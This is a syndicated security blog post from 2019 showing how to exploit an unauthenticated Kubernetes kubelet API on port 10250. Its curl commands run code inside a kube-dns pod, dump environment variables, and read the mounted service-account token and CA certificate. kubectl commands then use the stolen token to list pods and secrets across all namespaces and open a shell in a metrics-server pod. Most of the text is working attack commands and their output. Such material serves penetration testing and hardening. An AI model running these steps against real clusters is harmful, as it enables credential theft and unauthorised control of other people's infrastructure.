Cloud Security Security Bloggers Network 
SBN

Kubernetes: unauth kublet API 10250 token theft & kubectl

by CG on January 16, 2019

Kubernetes: unauthenticated kublet API (10250) token theft & kubectl access & exec

kube-hunter output to get us started:

do a curl -s https://k8-node:10250/runningpods/ to get a list of running pods

With that data, you can craft your post request to exec within a pod so we can poke around.

 Example request:

curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=ls -la /”

Output:
total 35264
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..
-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenv
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 bin
drwxr-xr-x    5 root     root           380 Nov  9 16:27 dev
-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nanny
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 etc
drwxr-xr-x    2 root     root          4096 Jan  9  2018 home
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 lib
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 media
drwxr-xr-x    2 root     root          4096 Jan  9  2018 mnt
dr-xr-xr-x  134 root     root             0 Nov  9 16:27 proc
drwx——    2 root     root          4096 Jan  9  2018 root
drwxr-xr-x    2 root     root          4096 Jan  9  2018 run
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbin
drwxr-xr-x    2 root     root          4096 Jan  9  2018 srv
dr-xr-xr-x   12 root     root             0 Dec 19 19:06 sys
drwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmp
drwxr-xr-x    7 root     root          4096 Nov  9 16:27 usr
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 var

Check the env and see if the kublet tokens are in the environment variables. depending on the cloud provider or hosting provider they are sometimes right there. Otherwise we need to retrieve them from:
1. the mounted folder
2. the cloud metadata url

Check the env with the following command:

curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=env”

We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables.

We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like:
KUBERNETES_PORT=tcp://10.10.10.10:443
or
KUBERNETES_MASTER_NAME: 10.11.12.13:443
Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them.  This may be (if we are lucky) another public IP or a 10. IP.  If it’s a 10. IP we need to download kubectl to the pod.
Assuming it’s not in the environment variables let’s look and see if they are there in the mounted secrets
curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=mount”

sample output truncated:
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

We can then cat out the ca.cert, namespace, and token

curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount”

Output:

total 4
drwxrwxrwt    3 root     root         140 Nov  9 16:27 .
drwxr-xr-x    3 root     root        4.0K Nov  9 16:27 ..
lrwxrwxrwx    1 root     root          13 Nov  9 16:27 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     root          16 Nov  9 16:27 namespace -> ..data/namespace
lrwxrwxrwx    1 root     root          12 Nov  9 16:27 token -> ..data/token

and then:

curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq” -d “cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token”

output:

eyJhbGciOiJSUzI1NiI—SNIP—

Also grab the ca.crt 🙂

With the token, ca.crt and api server IP address we can issue commands with kubectl.

$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get pods –all-namespaces

Output:

NAMESPACE     NAME                                                            READY     STATUS    RESTARTS   AGE
kube-system   event-exporter-v0.1.9-5c-SNIP                          2/2       Running   2          120d
kube-system   fluentd-cloud-logging-gke-eeme-api-default-pool   1/1       Running   1          2y
kube-system   heapster-v1.5.2-5-SNIP                              3/3       Running   0          27d
kube-system   kube-dns-5b8-SNIP                                       4/4       Running   0          61d
kube-system   kube-dns-autoscaler-2-SNIP                             1/1       Running   1          252d
kube-system   kube-proxy-gke-eeme-api-default-pool              1/1       Running   1          2y 
kube-system   kubernetes-dashboard-7-SNIP                           1/1       Running   0          27d
kube-system   l7-default-backend-10-SNIP                            1/1       Running   0          27d
kube-system   metrics-server-v0.2.1-7-SNIP                         2/2       Running   0          120d

at this point you can pull secrets or exec into any available pods

$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get secrets –all-namespaces

to get a shell via kubectl

$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get pods –namespace=kube-system

NAME                                                            READY     STATUS    RESTARTS   AGE
event-exporter-v0.1.9-5-SNIP               2/2       Running   2          120d
–SNIP–
metrics-server-v0.2.1-7f8ee58c8f-ab13f     2/2       Running   0          120d

$ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f –namespace=kube-system–server=https://1.2.3.4  –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— /bin/sh

/ # ls -lah
total 40220
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 .
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 ..
-rwxr-xr-x    1 root     root           0 Sep 11 07:25 .dockerenv
drwxr-xr-x    3 root     root        4.0K Sep 11 07:25 apiserver.local.config
drwxr-xr-x    2 root     root       12.0K Sep 11 07:24 bin
drwxr-xr-x    5 root     root         380 Sep 11 07:25 dev
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 etc
drwxr-xr-x    2 nobody   nogroup     4.0K Nov  1  2017 home
-rwxr-xr-x    2 root     root       39.2M Dec 20  2017 metrics-server
dr-xr-xr-x  135 root     root           0 Sep 11 07:25 proc
drwxr-xr-x    1 root     root        4.0K Dec 19 21:33 root
dr-xr-xr-x   12 root     root           0 Dec 19 19:06 sys
drwxrwxrwt    1 root     root        4.0K Oct 18 13:57 tmp
drwxr-xr-x    3 root     root        4.0K Sep 11 07:24 usr
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 var

For completeness if you got the keys via the environment variables the kubectl command would be something like this:

kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –client-key=kublet.key –client-certificate=kublet.crt get pods –all-namespaces



Recent Articles By Author
More from CG

*** This is a Security Bloggers Network syndicated blog from Carnal0wnage & Attack Research Blog authored by CG. Read the original post at: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250_16.html

CG , , , ,